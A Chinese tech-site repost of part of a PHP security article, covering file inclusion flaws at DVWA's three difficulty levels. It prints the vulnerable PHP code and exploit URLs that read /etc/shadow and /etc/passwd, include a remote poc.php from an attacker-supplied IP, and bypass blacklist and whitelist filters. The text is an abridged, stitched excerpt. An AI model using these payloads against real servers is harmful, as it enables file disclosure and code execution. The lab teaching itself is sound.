加入收藏 | 设为首页 | 会员中心 | 我要投稿 成都站长网 (https://www.028zz.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长资讯 > 评论 > 正文

浅谈PHP安全规范

发布时间:2018-10-14 12:35:28 所属栏目:评论 来源:littlepotato
导读:副标题#e# 【新品产上线啦】51CTO播客,随时随地,碎片化学习 一、前言 php因天生支持web应用的开发,以其简单易学,开发效率高而备受喜爱。使其占据了大片的市

文件包含光从字面意思来看是可以通过漏洞利用泄露一些本地敏感文件,但是益于以上几个函数在包含文件的时候是默认把文件当成代码来对待,如果出现可执行的php片段就会执行这一性质,文件包含漏洞一般是可以进行任意代码执行的,只要我们能够让服务器包含我们可控的代码段。

(1) Low level

  1. <?php  
  2.  
  3. // The page we wish to display  
  4. $file = $_GET[ 'page' ];  
  5.  
  6. ?> 

没有对我们的输入做任何过滤,可以说是一点安全意识都没有。随便利用。举个栗子:

(http://localhost/dvwa/vulnerabilities/fi/page=/etc/shadow)。当然也可以在服务端写下poc.php,利用http协议实现代码执行

(http://localhost/dvwa/vulnerabilities/fi/page=http://)[ip]/poc.php。前提条件是allow_url_fopen和allow_url_include处于打开状态。

(2) Medium level

  1. <?php  
  2. // The page we wish to display  
  3. $file = $_GET[ 'page' ];  
  4.  
  5. // Input validation  
  6. $file = str_replace( array( "http://", "https://" ), "", $file );  
  7. $file = str_replace( array( "../", ".."" ), "", $file );  
  8.  
  9. ?> 

首先这个基于黑名单的过滤,压根就没有把本地绝对路径考虑到,其次可以使用…/./,htthttpp进行绕过。

(3) High level

  1. <?php  
  2.  
  3. // The page we wish to display  
  4. $file = $_GET[ 'page' ];  
  5.  
  6. // Input validation  
  7. if( !fnmatch( "file*", $file ) && $file != "include.php" ) {  
  8.     // This isn't the page we want!  
  9.     echo "ERROR: File not found!";  
  10.     exit;  
  11. }  
  12.  
  13. ?> 

这是一种基于白名单的过滤,只接受前缀为“file”的文件,咋一看很ok,然而却疏忽了file协议。

[http://localhost/vulnerabilities/fi/?page=file:///etc/passwd](http://localhost/vulnerabilities/fi/?page=file:///etc/passwd)。

(编辑:成都站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读